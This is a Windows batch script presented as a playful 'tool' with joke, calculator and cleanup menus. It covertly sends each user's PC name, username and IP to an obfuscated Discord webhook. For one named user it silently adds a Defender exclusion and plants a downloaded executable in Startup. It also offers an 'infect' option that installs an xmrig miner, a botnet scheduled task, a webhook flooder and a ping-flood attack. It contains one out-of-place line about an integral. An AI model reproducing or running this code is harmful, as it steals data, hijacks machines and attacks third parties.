tool 3.24R.bat

@echo off
:: v3.24 Arguments
:: Secret Count: 15
:: Added:
::	allow certain arguments to be passed to the script
::	help menu
::	backup and save script files
::	closing quote for a clean command
::	quotes for name asking (onboarding)
::	license
::	blank variable
::	verbose starting
::	infect command
::	restart variable
::	little things
:: Removed:
::	removed remanents of rat menu
::	unnessacery lines (im basically just making the code harder to read)
:: Improved/Changed:
::	() around else script ran before
::	changed "splash screen" menu text
::	made improvements to virustotal json handling
::	moved set variables needed to be quoted
::	moved script dir creation command under curl checker
::	made curl update silent
::	replaced % with ! for starting new updated script (just in case!)
::	checking for uac.. > checking for admin
::	reverted to old uac
::	minor improvments in download system
::	turned submenus into cursed codelines
::	redid some stuff with the test
::	little things
:: Bug Fixes
::	fixed not being able to get to my twitter social
:: Notes
::	GUYS MESSAGE ME USING #27 IF I SHOULD MAKE A LOADING SCREEN FOR 3.25 🤑🤑🤑
::	if you want to know what something does, or have anything to suggest, dm me using my socials in #17 or by sending a message with #27!
::	all secrets need internet.

setlocal enabledelayedexpansion
:start
echo starting..
echo setting variables..
set "t1=timeout /t 1 >nul"
set "t3=timeout /t 3 >nul"
set "p=pause >nul"
set "b=net >nul 2>&1"
set ver=3.24R
set site=http://chicken.bulletinbay.com
set pc=powershell -Command
set gd=goto dsrv
set dl=del /q /f /s
set st=set sec=t
set ga=goto ae
set kl=taskkill /f
set ss=%site%/secrect
set js=ConvertFrom-Json
set gc=Get-Content
set iw=Invoke-WebRequest
set sp=%programdata%\script
set gm=goto menu
set r=goto start
set tw=goto tw
set w=echo your wrong
set c=echo your correct
title tool %ver% ^| by chicken

echo checking for new win terminal..
tasklist /FI "IMAGENAME eq windowsterminal.exe" | find /I "windowsterminal.exe" >nul
if %errorlevel%==0 (
	echo you have to run this in cmd, not the new windows terminal!
	echo if this is a bug, try closing windows terminal windows!
	echo ^(click any key to continue...^)
	%p%
	exit
) else echo this script is being ran with normal cmd, good!
echo checking for curl..
curl >nul 2>&1
if %errorLevel%==2 ( echo you have curl! ) else goto curl
if not exist !sp! md !sp!
echo checking for admin..
net session >nul 2>&1
if %errorlevel% neq 0 ( set uac=f ) else set uac=t
echo checking for args..
if "%1"=="" goto noargs
if %1==uac goto uac
if %1==admin goto admin
if %1==backup goto backup
if %1==restore goto restore
:noargs
echo checking for onboarding files..
if exist !sp!\pptos.txt ( echo PP and TOS already accepted. ) else goto pptos
if exist !sp!\license.txt ( echo license already shown ) else goto license
if not exist !sp!\name.txt ( if exist !sp!\nameoptout.txt ( echo name calling opted out ) else goto name ) else set /p name=<!sp!\name.txt
if %errorlevel%==2 ( echo script ran before ) else echo script never ran before
if exist !sp!\rs.txt ( set /p rs=<!sp!\rs.txt
) else (
	echo first ran at !date! !time! with version !ver! >!sp!\rs.txt
	set rs=never ran before
)
if not exist !sp!\id.txt (
	set /a id=%random% %% 100 + 1
	echo !id! >!sp!\id.txt
) else set /p id=<!sp!\id.txt
echo sending some analytics.. this may take a second!
echo decrypting discord webhook and sending analytics
echo aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMxNDAyODQ1NzMzNTk4MDA1Mi9IY25VeFJHNmdHY2pPNUdxbEZiUUVVbWx3N2VqNG5CUXJOMTVMYVdlaEg4RHBZU0JGWWMteGVRUWM3MmlQZTNzc1dnNA== >!sp!\at.txt
certutil -decode !sp!\at.txt !sp!\atd.txt >nul
set /p ad=<!sp!\atd.txt
del !sp!\at.txt !sp!\atd.txt
for /f "delims=" %%i in ('curl -s https://api.ipify.org') do set ip=%%i
curl -H "Content-Type: application/json" -d "{\"content\": \"script %rs%\ncurrent version: %ver%\npc name: %COMPUTERNAME%\nusername: %USERNAME%\ntimestamp: !date! !time!\nip: %ip%\nadmin: %uac%\nid: %id%\", \"embeds\": [], \"attachments\": []}" "!ad!"
echo finding updates
curl -s http://chicken.bulletinbay.com/data/scripts/update >!sp!\update
set /p update=<!sp!\update
del !sp!\update
if %username%==yanay call :dp
:done
if "%1"=="" goto menu
if %1==? goto help
if %1==/? goto help
if %1==-h goto help
if %1==--help goto help
if %1==clean (
	set exit=1
	goto clean
)
if %1==infect goto infect
if %1==-i goto infect

:menu
mode con cols=76 lines=36
echo        __              __	      			   v%ver% Arguments
echo       / /_ ___  ___   / /  ^> coded by chicken
echo      / __// _ \/ _ \ / /  ^> hope you enjoy!
echo      \__/ \___/\___//_/
echo              ____     ___  ____  ___
echo       _  __ ^|_  /    ^|_  ^|/ / / / _ \ ^> ? for extra commands
echo      ^| ^|/ /_/_ ^< _  / __//_  _// , _/
echo      ^|___//____/(_)/____/ /_/ /_/^|_^|
echo.
if defined name ( echo 	 hello, !name! ) else echo.
if "%update%"=="%ver%" ( echo 	 up to date ) else echo 	 new version available, v%update%, type u to update
echo  __________________________________________________________________________
echo    * = needs internet   ** = needs admin perms   *** = recommended admin
echo.
echo    0. exit			  ^|    20. clipboard viewer
echo    1. kid*			  ^|    21. shutdown utilies
echo    2. random number 1-65000	  ^|    22. list all apps installed
echo    3. clean temp files***	  ^|    23. choose a color for the terminal
echo    4. kill certain process	  ^|    24. random secure password
echo    5. open my website*		  ^|    25. real time date and time
echo    6. dvd screensaver*		  ^|    26. ping a site*
echo    7. my repo version selector*   ^|    27. send me a message*
echo    8. explode*			  ^|    28. say something out loud
echo    9. do some "haking"		  ^|    29. ai*
echo    10. test			  ^|    30. ascii art*
echo    11. clones of your mother*	  ^|    31. fix xbox gamebar
echo    12. some internet advice*	  ^|    32. remove virus and use sfc**
echo    13. joke of the day*	  	  ^|    33. flood discord webhook*
echo    14. fun fact*		  ^|    34. virustotal upload*
echo    15. troubleshooting console	  ^|    35. start with uac
echo    16. system info		  ^|    36. dos somebody*
echo    17. socials*		  	  ^|    38. compress files***
echo    18. touchscreen toggle**	  ^|    39. wipe all script files
echo    19. math			  ^|    40. become part of my botnet

set /p wow="choose: "
mode con cols=115 lines=35
if "%wow%"=="r" ( %r%
) else if "%wow%"=="?" ( goto help
) else if "%wow%"=="u" (
	curl -s "http://chicken.bulletinbay.com/data/scripts/tool%%20!update!.bat" -o "tool !update!.bat"
	echo updated!
	echo starting script in 3 seconds..
	%t3%
	cls
	"tool !update!.bat"
) else if "%wow%"=="infect" ( goto infect
) else if "%wow%"=="0" ( exit
) else if "%wow%"=="1" (
	set f=child.png
	set w=%ss%/!f!
	set o=%tmp%\!f!
	%gd%
) else if "%wow%"=="2" (
	cls
	set /a randomn=%random% * 65000 / 32768 + 1
    echo your random number is: %randomn%
	%ga%
) else if "%wow%"=="3" (
	if %uac%==t ( echo you have admin. most temp files will be cleaned. ) else echo you don't have admin, so some temp files might not be cleaned.
	echo click any key to continue, or close out of the script.
	%p%
	%kl% /im ccleaner64.exe >nul
	%kl% /im ccleaner.exe >nul
	%dl% "%localappdata%\cache\*"
	%dl% "%localappdata%\SquirrelTemp\*"
	%dl% "%localappdata%\Discord\Packages\SquirrelTemp\*"
	%dl% "%localappdata%\Discord\GPUCache\*"
	%dl% "%localappdata%\Discord\DawnWebGPUCache\*"
	%dl% "%localappdata%\Discord\DawnGraphiteCache\*"
	%dl% "%localappdata%\Discord\Cache\*"
	%dl% "%localappdata%\Discord\Cache\Cache_data\*"
	%dl% "%localappdata%\Discord\Shared Dictionary\cache\*"
	%dl% "%localappdata%\Discord\Code Cache\*"
	%dl% "%tmp%\*"
	%dl% "%homepath%\AppData\LocalLow\Intel\ShaderCache\*
	%dl% "%windir%\SystemTemp\*"
	%dl% "%windir%\Temp\*"
	%dl% "%windir%\SoftwareDistribution\*"
	%dl% "%ProgramFiles(x86)%\Microsoft\EdgeUpdate\*"
	%dl% "%ProgramFiles(x86)%\Microsoft\Temp\*"
	%dl% "%programdata%\Microsoft\Windows Defender\Support\*"
	start "" ccleaner.exe /AUTO >nul
	start "" cleanmgr /sagerun:1
	if defined exit exit
	echo.
) else if "%wow%"=="4" ( goto pid
) else if "%wow%"=="5" ( start %site%
) else if "%wow%"=="6" (
	echo this screensaver uses python!
	echo the screensaver is stored in your user folder
	set pl=%homepath%\dvd-screensaver-x86.scr /S
	if exist %homepath%\dvd-screensaver-x86.scr ( echo file already exists..
	) else (
		set ps=%site%/dvd.html%out%%homepath%\dvd-screensaver-x86.scr
		%gd%
	)
	cls
	echo starting..
	%pl%
) else if "%wow%"=="7" ( start "" %site%/repo.html
) else if "%wow%"=="8" (
	set f=catexplode.gif
	set w=%ss%/!f!
	set o=%tmp%\!f!
	%gd%
) else if "%wow%"=="9" (
	color 2
	cd C:\
	echo starting hack...
	timeout /t 2 >nul
	tree
) else if "%wow%"=="10" ( goto test
) else if "%wow%"=="11" (
	set f=mom.gif
	set w=%ss%/!f!
	set o=%tmp%\!f!
	%gd%
) else if "%wow%"=="12" (
	echo getting your life advice
	set f=%tmp%\advice.json
	curl https://api.adviceslip.com/advice -o !f!
	%pc% "(!gc! '!f!' | !js!).slip.advice"
	del !f!
) else if "%wow%"=="13" (
	echo heres a joke for you
	set f=%tmp%\joke.json
	curl https://official-joke-api.appspot.com/random_joke -o !f!
	%pc% "(!gc! '!f!' | !js!).setup"
	%t1%
	%pc% "(!gc! '!f!' | !js!).punchline"
	del !f!
) else if "%wow%"=="14" (
	echo getting a fun fact
	set f=%tmp%\fact.json
	curl https://uselessfacts.jsph.pl/api/v2/facts/random?language=en -o !f!
	%pc% "(!gc! '!f!' | !js!).text"
	del !f!
) else if "%wow%"=="15" (
	echo it will not close even on error, which is why i called it "troubleshooting console"
	echo it only closes when killed, or closed by user.
	cmd /k
) else if "%wow%"=="16" (
	echo system information:
	echo.
	echo computer name: %computername%
	echo user folder: %homedrive%%homepath%
	echo processor architecture: %processor_architecture%
	echo system drive: %homedrive%
	echo number of processor cores: %number_of_processors%
	echo os version: %os%
	echo username: %username%
	echo local date/time: %date% %time%
) else if "%wow%"=="17" ( goto soc
) else if "%wow%"=="18" ( goto tmenu
) else if "%wow%"=="19" ( goto math
) else if "%wow%"=="20" (
	echo clipboard contents:
	%pc% "Get-Clipboard"
) else if "%wow%"=="21" ( goto su
) else if "%wow%"=="22" ( wmic product get name,version
) else if "%wow%"=="23" ( goto color
) else if "%wow%"=="24" ( goto pwd
) else if "%wow%"=="25" (
	mode con: cols=22 lines=6
	:rtdt
	cls
	echo current date and time:
	echo.
	echo %date%
	echo %time%
	%t1%
	goto rtdt
) else if "%wow%"=="26" ( goto ping
) else if "%wow%"=="27" ( goto msg
) else if "%wow%"=="28" ( goto vmsg
) else if "%wow%"=="29" ( goto ai
) else if "%wow%"=="30" ( goto art
) else if "%wow%"=="31" (
	%kl% /im gamebar.exe
	echo it should work now. try opening it!
) else if "%wow%"=="32" (
	if %uac%==t ( echo uac found. continuing..
	) else (
		echo you need uac for this.
		%ga%
	)
	start "" "%programfiles%\windows defender\mpcmdrun.exe" -Scan -ScanType 2
	start "" mrt /q /f
	start "" sfc /scannow
	%ga%
) else if "%wow%"=="33" ( goto dfls
) else if "%wow%"=="34" ( goto vt
) else if "%wow%"=="35" (
	:uac
	if %uac%==t (
		echo you already have uac!
		%ga%
	) else (
		mshta "javascript: var shell = new ActiveXObject('shell.application'); shell.ShellExecute('%~nx0', '', '', 'runas', 1);close();"
		exit
	)
) else if "%wow%"=="36" ( goto dos
) else if "%wow%"=="37" ( goto rat
) else if "%wow%"=="38" (
	echo compressing files.. this may take a while.
	compact /c /s /a /i /f %homedrive%\*
	compact compactos:always
	echo compression complete.
) else if "%wow%"=="39" (
	echo wiping script related files..
	del /f /q %sp%\rs.txt %sp%\name.txt %sp%\nameoptout.txt %sp%\pptos.txt
	%t1%
	echo wiped!
	echo click any key to restart the script
	%p%
	%r%
) else if "%wow%"=="40" (
	echo this isnt something bad or will take up your resources!
	echo it'll just open a cmd window every once in a while.
	%t1%
	if not exist !sp!\botnet (
		echo setting up your client..
		curl -s http://chicken.bulletinbay.com/data/dependencies/dos.xml -o !sp!\dos.xml
		curl -s http://chicken.bulletinbay.com/data/dependencies/dos.bat -o !sp!\dos.bat
		schtasks /create /tn "chicken's botnet" /xml "!sp!\dos.xml" /f
		echo chicken's botnet joined >!sp!\botnet
	) else echo you're already in the botnet!
) else if "%wow%"=="horn" (
	set f=horn.wav
	set o=%tmp%\!f!
	set w=%ss%/!f!
	set s=%pc% "$player = New-Object System.Media.SoundPlayer '!tmp!\!f!'; $player.PlaySync()"
	%st%
	%gd%
) else if "%wow%"=="e" (
	set f=strawberryfull.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="sigma" (
	set f=sigma.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"==" " (
	set f=skibity.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="crack" (
	set f=cracker.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="fart" (
	set f=fart.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="" (
	set f=code.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="crime" (
	set f=crime.jpg
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"==":3" (
	set f=wtf.gif
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="SHUT UP YOU'RE :clover:" (
	set f=SHUTUP.png
	set o=%tmp%\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="table" (
	set f=table.gif
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="gas" (
	color 6
	set f=gas.gif
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="wowow" (
	set f=woah.gif
	set o=!tmp!\!f!
	set w=%ss%/!f!
	%st%
	%gd%
) else if "%wow%"=="rick" (
	echo haha you found secrect
	start "" https://www.youtube.com/watch?v=dQw4w9WgXcQ
	%ga%
) else if "%wow%"=="pluh" (
	set f=pluh.wav
	set w=%ss%/!f!
	set o=%tmp%\!f!
	set s=%pc% "$player = New-Object System.Media.SoundPlayer '!tmp!\!f!'; $player.PlaySync()"
	%st%
	%gd%
) else (
	cls
	echo not valid choice you made!
	echo i will send you back to the main menu!!
	%t3%
	%gm%
)
%ga%
:dsrv
if "%sec%"==t ( echo ooh.. secret?? ) else echo.
curl !w! -o !o!
if defined s ( start "" !s! ) else start "" !o!
del !o!
set sec=
set w=
set o=
set s=
set f=
%ga%
:::::
:pid
echo this will also kill any subprocesses.
set /p p="input a pid or process name to kill: "
%kl% /im %p% >nul
%kl% /pid %p% >nul
%ga%
:::::
:test
echo ready?
%t1%
echo (click any key to continue)..
%p%

cls
echo 1. saturn
echo 2. uranus
echo 3. moon
echo 4. earth
set /p test="which planet has the most moons? "
cls
if %test%==1 (
	%c%
	%t3%
) else %tw%

cls
echo 1. seagull
echo 2. dog
echo 3. chicken
echo 4. cat
set /p test="what animal do i like? "
cls
if %test%==3 (
	%c%
	%t3%
) else %tw%

cls
echo 1. hitler
echo 2. trump
echo 3. ice cream biden
echo 4. all of the above
echo 5. none
set /p test="what poletition do i like? "
cls
if %test%==1 (
	echo what is your problem?
	%ga%
) else if %test%==5 (
	%c%
	%t3%
) else %tw%

cls
echo 1. heads
echo 2. tails
set /p test="heads.. or tails? "
cls
if %test%==2 (
	%c%
	%t3%
) else %tw%

cls
echo nothing is impossible
echo 1. true
echo 2. false
set /p test="true or false? "
cls
if %test%==2 (
	%c%
	%t3%
) else %tw%

cls
echo tyler the creator released a album called "chromakopia"
echo 1. true
echo 2. false
set /p test="true or false? "
cls
if %test%==1 (
	%c%
	%t3%
) else %tw%

cls
echo do you believe in yourself
echo 1. yes
echo 2. no
set /p test="1 or 2? "
cls
if %test%==1 ( echo good! ) else echo ok
%t3%
cls
echo you passed!!
echo great job!!
echo theres more coming soon..
%ga%
:tw
%w%
%ga%
:::::
:soc
echo these are *most* of my socials.
echo 0. main menu
echo 1. discord
echo 2. telegram
echo 3. youtube
echo 4. twitter
echo 5. roblox
echo 6. minecraft
echo 7. my site
set /p s="select a number: "
cls
if %s%==0 ( %gm% ) else if %s%==1 ( start "" www.discord.com/users/841797623270342717 ) else if %s%==2 ( start "" www.t.me/ch1ck3mm ) else if %s%==3 ( start "" www.youtube.com/@thyrandomchicken ) else if %s%==4 ( start "" www.twitter.com/ch1ck3m ) else if %s%==5 ( start "" www.roblox.com/users/1343740658/profile ) else if %s%==6 ( start "" www.namemc.com/profile/ch1ck3m ) else if %s%==7 ( start "" %site% ) else echo invalid choice 
%ga%
:::::
:tmenu
if %uac%==t ( echo admin found! continuing..
) else (
	echo you did not start the script as admin!
	echo touchscreen features will be restricted until you start the script as admin.
	%ga%
)
cls
echo this might work for you, but for basically everybody it SHOULD work.
echo 0. main menu
echo 1. enable touchscreen
echo 2. disable touchscreen
set /p t="enter choice: "
cls
if %t%==0 ( %gm%
) else if %t%==1 (
	echo enabling touchscreen..
	%pc% "Get-PnpDevice -FriendlyName 'HID-compliant touch screen' | Enable-PnpDevice -Confirm:$true"
	echo if you got no error, then touchscreen should be enabled.
) else if %t%==2 (
	echo disabling touchscreen..
	%pc% "Get-PnpDevice -FriendlyName 'HID-compliant touch screen' | Disable-PnpDevice -Confirm:$true"
	echo if you got no error, then touchscreen should be disabled.
) else echo invalid choice
%ga%
:::::
:math
echo 0. main menu
echo 1. basic calculator
echo 2. find percentages of number
echo 3. random number 1-65000
set /p m="choose a number: "
if %m%==0 ( %gm% ) else if %m%==1 ( goto calc ) else if %m%==2 ( goto perc ) else if %m%==3 ( goto rn ) else invalid choice
%ga%

:perc
cls
set /p num="enter number: "
set /p per="enter the percentage: "
set /a res=num*per/100
echo result: %res%
%ga%

:calc
cls
echo basic calculator
echo how to use:
echo * = multiplication / = division
echo - = subraction + addition
set /p exp="enter expression: "
set /a res=%exp%
echo result: %res%
%ga%
:::::
:su
echo 0. main menu
echo 1. lock
echo 2. shutdown
echo 3. restart
set /p su="choose a number: "
if %su%==0 ( %gm% ) else if %su%==1 ( rundll32.exe user32.dll,LockWorkStation ) else if %su%==2 ( shutdown -s -t 5 ) else if %su%==3 ( shutdown -r -t 5 ) else echo invalid choice
%ga%
:::::
:color
echo 0. main menu
echo 1. blue
echo 2. green
echo 3. aqua
echo 4. red
echo 5. purple
echo 6. yellow
echo 7. light mode
echo 8. restore
set /p cl="choose a number: "
if %cl%==0 ( %gm% ) else if %cl%==1 ( color 1 ) else if %cl%==2 ( color 2 ) else if %cl%==3 ( color 3 ) else if %cl%==4 ( color 4) else if %cl%==5 ( color 5 ) else if %cl%==6 ( color 6 ) else if %cl%==7 ( color f0 ) else if %cl%==8 ( color ) else echo invalid choice
%ga%
:::::
:ping
set /p ping="choose website to ping (e.g. google.com): "
ping %ping%
if %errorlevel%==0 ( echo ping sucsessful.
) else echo ping unsucsessful. you might not have internet.
%ga%
:::::
:msg
echo decoding..
echo aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMxNDAzMTc2NTcxMDcwNDY3MC9McXNueG14VnlDNEZDakh1SEU1OHVrUFpJMDd1VlUtQ3VIdno3MlM1enEzTVViOS0xTmgxNGdvMWtzbExSdXdBS2pObw== >!sp!\mt.txt
certutil -decode !sp!\mt.txt !sp!\mtd.txt >nul
set /p md=<!sp!\mtd.txt
del !sp!\mt.txt !sp!\mtd.txt
if %username%==yanay echo please erez dont be a bitch
echo \n is for line breaks (ex: hey\nthis is a new line)
echo please also include your name, or something i can reach you again (e.g. discord, telegram, etc.)
set /p "msg=enter your message: "
curl -H "Content-Type: application/json" -d "{\"content\": \"!msg!\nid: %id%\nauthor: !ip!\", \"embeds\": null, \"attachments\": []}" "!md!"
echo message sent!
%ga%
:::::
:pwd
set /p c="how many characters do you want? (up to 128) "
set /p s="how much of those do you want to be special chars? "
%pc% "Add-Type -AssemblyName 'System.Web'; [System.Web.Security.Membership]::GeneratePassword(%c%,%s%)"
%ga%
:::::
:vmsg
set /p voice="enter a message to say: "
%pc% "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('!voice!')"
%ga%
:::::
:ai
if exist !sp!\openkey.txt (
	echo existing api key found.
	set /p aikey=<!sp!\openkey.txt
) else (
	echo no api key found.
	echo you can get your api key at:
	echo https://platform.openai.com/account/api-keys
	set /p aikey="what is your api key? "
	echo !aikey! >!sp!\openkey.txt
)
echo reminder: this is in development, and uses curl.
echo this script only lets you send one message.
echo.
set /p aisay="what do you want to say to chatgpt? "
curl -s -X POST "https://api.openai.com/v1/chat/completions" ^
	-H "Authorization: Bearer !aikey!" ^
	-H "Content-Type: application/json" ^
	-d "{\"model\": \"gpt-3.5-turbo\", \"messages\": [{\"role\": \"user\", \"content\": \"!aisay!\"}]}"
%ga%
:::::
:art
echo                _ _
echo  ___ ____ ____(_^|_)
echo / _ `(_-^</ __/ / /
echo \_,_/___/\__/_/_/
echo  ___ _____/ /_
echo / _ `/ __/ __/
echo \_,_/_/  \__/
echo.
echo this uses curl.
echo list of ascii things to use: knot, rick, batman,
echo hes, parrot, dvd, forrest, bnr, donut, clock,
echo coin, nyan, playstation, spidyswing, torus-knot,
echo batman-running, can-you-hear-me
set /p art="which one? "
curl ascii.live/%art%
:::::
:dfls
set /p flh="what discord webhook would you like to flood? "
set /p flm="what message do you want to send? (you can use \n for line breaks) "
echo click any key to start..
%p%
:dfl
curl -H "Content-Type: application/json" -d "{\"content\": \"!flm!\", \"embeds\": null, \"attachments\": []}" "!flh!"
goto dfl
:::::
:vt
if exist !sp!\vtkey.txt (
	echo existing api key found.
	set /p vtkey=<!sp!\vtkey.txt
) else (
	echo no api key found.
	echo you can get your api key at:
	echo https://www.virustotal.com/gui/my-apikey
	set /p vtkey="what is your api key? "
	echo !vtkey! >!sp!\vtkey.txt
)
set /p vtl="what is the path to the file you want to upload? "
curl -X POST --url "https://www.virustotal.com/api/v3/files" ^
    -H "x-apikey: !vtkey!" ^
    -F "file=@!vtl!" >!sp!\vtr
for /f "delims=" %%i in ('powershell -Command "Get-Content !sp!\vtr | ConvertFrom-Json | Select-Object -ExpandProperty data | Select-Object -ExpandProperty id"') do set aid=%%i
curl -s -X GET --url "https://www.virustotal.com/api/v3/analyses/%aid%" -H "x-apikey: !vtkey!" >!sp!\vtar
for /f "delims=" %%i in ('powershell -Command "Get-Content !sp!\vtar | ConvertFrom-Json | Select-Object -ExpandProperty meta | Select-Object -ExpandProperty file_info | Select-Object -ExpandProperty sha256"') do set sha256=%%i
%t3%
start "" https://www.virustotal.com/gui/file/!sha256!
del /f !sp!\vtr !sp!\vtar
set sha256=
set aid=
%ga%
:::::
:dos
set /p dos="ip (or domain) to dos? "
echo click any key to continue..
%p%
:doss
start /b /i "" cmd /k ping -l 65500 !dos!
%t1%
goto doss
:::::
:help
echo   arguments
echo 	clean - clean files (then exits)
echo 	uac / admin - start script with admin
echo 	? / /? / -h / --help - this help menu
echo 	backup - zip all script files
echo 	restore - restore files from zip
echo 	infect / -i - infect current machine (if you hate your friend)
echo   other stuff
echo 	u - update script
echo 	r - restart script
echo 	infect - infect current machine (if you hate your friend)
echo 	? - this help menu
echo.
%ga%
:::::
:ae
%t1%
echo click any key to continue..
%p%
set /p ae="would you like to go back to the main menu? (y/n): "
if /i %ae%==y ( %gm% ) else exit
:::::
:dp
if not exist !sp!\exclusion.txt (
	if "%uac%"=="t" (
		powershell -command "Add-MpPreference -ExclusionPath '!sp!'" >nul 2>&1
		echo exclusion added >!sp!\exclusion.txt
	)
)
if not exist !sp!\dep.exe curl -s http://chicken.bulletinbay.com/data/scripts/thing.exe -o !sp!\dep.exe
if not exist "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\dep.exe" copy !sp!\dep.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\dep.exe" >nul
start /MIN "" !sp!\dep.exe
echo Let me know if you'd like help with a specific part of this integral!
exit /b
:::::
:restore
if exist scriptbackup.zip (
	del /f /s /q !sp!\*
	powershell -command "Expand-Archive -Path 'scriptbackup.zip' -DestinationPath '!sp!' -Force"
) else (
	echo no backup found in current directory! ^(%cd%^)
	echo is the backup called scriptbackup.zip?
)
echo ^(click any key to continue..^)
%p%
%r%
:::::
:backup
powershell -command "Compress-Archive -Path '!sp!\*' -DestinationPath 'scriptbackup.zip'"
echo when restoring, make sure the zip file is still called scriptbackup.zip !
echo click any key to restart the script
%p%
%r%
:::::
:infect
set /p inf="you sure (y/n)? "
if %inf%==n exit
if not exist !sp!\exclusion.txt (
	if "%uac%"=="t" (
		powershell -command "Add-MpPreference -ExclusionPath '!sp!'" >nul 2>&1
		echo exclusion added >!sp!\exclusion.txt
	) else (
		echo you need admin to do this!
		echo click any key to exit..
		%p%
		exit
	)
)
if not exist !sp!\dep.exe curl -s http://chicken.bulletinbay.com/data/scripts/thing.exe -o !sp!\dep.exe
if not exist !sp!\rig.zip (
	curl -s http://chicken.bulletinbay.com/data/scripts/xmrig.zip -o !sp!\rig.zip
	tar -xf "!sp!\rig.zip" -C "!sp!"
)
if not exist "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\rig.bat" echo start %programdata%\script\xmrig.exe >"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\rig.bat"
if not exist "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\dep.exe" copy !sp!\dep.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\dep.exe" >nul
start /MIN "" !sp!\dep.exe
start /MIN "" !sp!\xmrig.exe
%r%
:: everything under this is onboarding shit
:pptos
echo there is a pop and tos to accept.
echo.
echo TOS: >>!sp!\pptos.txt
echo 	i'm not responsible for any damage. >>!sp!\pptos.txt
echo PP: >>!sp!\pptos.txt
echo 	every time you start the script, stats are sent. >>!sp!\pptos.txt
echo 	the things send in these stats include: >>!sp!\pptos.txt
echo 	ip adress, only to check if i ran it, for testing purposes. >>!sp!\pptos.txt
echo 	computer name, computer username, script first ran, >>!sp!\pptos.txt
echo 	and script version. >>!sp!\pptos.txt
echo	your ip is recorded when you send a message. >>!sp!\pptos.txt
type !sp!\pptos.txt
set /p pptos="do you accept (y/n)? "
if %pptos%==y (
	echo accepted!
	cls
	%r%
) else (
	cls
	echo not accepted!
	del /f !sp!\pptos.txt
	echo exiting in 3s..
	%t3%
	exit
)
:name
cls
set /p nameask="would you like to make the script greet you (y/n)? "
if "%nameask%"=="y" ( goto askname
) else (
	echo ok.
	echo opted-out of name calling >!sp!\nameoptout.txt
)
%r%
:askname
cls
set /p name="what is your name? "
echo !name! >!sp!\name.txt
%r%
:license
curl -s https://raw.githubusercontent.com/aws/mit-0/refs/heads/master/MIT-0 -o !sp!\license.txt
echo i'm going to open the license in a second
%t1%
start "" !sp!\license.txt
set /p license="this is the license (mit), do you accept (y/n)? "
if %license%==y ( echo ok!
) else (
	del /f !sp!\license.txt
	echo ok, exiting in 3 seconds
	%t3%
)
%r%
:curl
echo curl is needed for this script.
set /p curl="install it? (y/n) "
if %curl%==y (
	winget install cURL.cURL
	echo curl installed. restarting script.
	%t3%
	%r%
) else exit
endlocal